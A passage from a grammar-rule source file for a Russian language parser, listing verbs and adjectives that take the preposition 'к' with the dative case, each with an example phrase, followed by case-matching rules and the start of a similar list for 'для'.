за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду rus_verbs:подбрасывать{}, // подбрасывать к потолку rus_verbs:перевозить{}, // перевозить к новому месту дислокации rus_verbs:усаживаться{}, // усаживаться к окну rus_verbs:приближать{}, // приближать к глазам rus_verbs:попроситься{}, // попроситься к бабушке rus_verbs:прибить{}, // прибить к доске rus_verbs:перетащить{}, // перетащить к себе rus_verbs:прицепить{}, // прицепить к паровозу rus_verbs:прикладывать{}, // прикладывать к ране rus_verbs:устареть{}, // устареть к началу войны rus_verbs:причалить{}, // причалить к пристани rus_verbs:приспособиться{}, // приспособиться к опозданиям rus_verbs:принуждать{}, // принуждать к миру rus_verbs:соваться{}, // соваться к директору rus_verbs:протолкаться{}, // протолкаться к прилавку rus_verbs:приковать{}, // приковать к батарее rus_verbs:подкрадываться{}, // подкрадываться к суслику rus_verbs:подсадить{}, // подсадить к арестонту rus_verbs:прикатить{}, // прикатить к финишу rus_verbs:протащить{}, // протащить к владыке rus_verbs:сужаться{}, // сужаться к основанию rus_verbs:присовокупить{}, // присовокупить к пожеланиям rus_verbs:пригвоздить{}, // пригвоздить к доске rus_verbs:отсылать{}, // отсылать к первоисточнику rus_verbs:изготовиться{}, // изготовиться к прыжку rus_verbs:прилагаться{}, // прилагаться к покупке rus_verbs:прицепиться{}, // прицепиться к вагону rus_verbs:примешиваться{}, // примешиваться к вину rus_verbs:переселить{}, // переселить к старшекурсникам rus_verbs:затрусить{}, // затрусить к выходе rus_verbs:приспособить{}, // приспособить к обогреву rus_verbs:примериться{}, // примериться к аппарату rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты 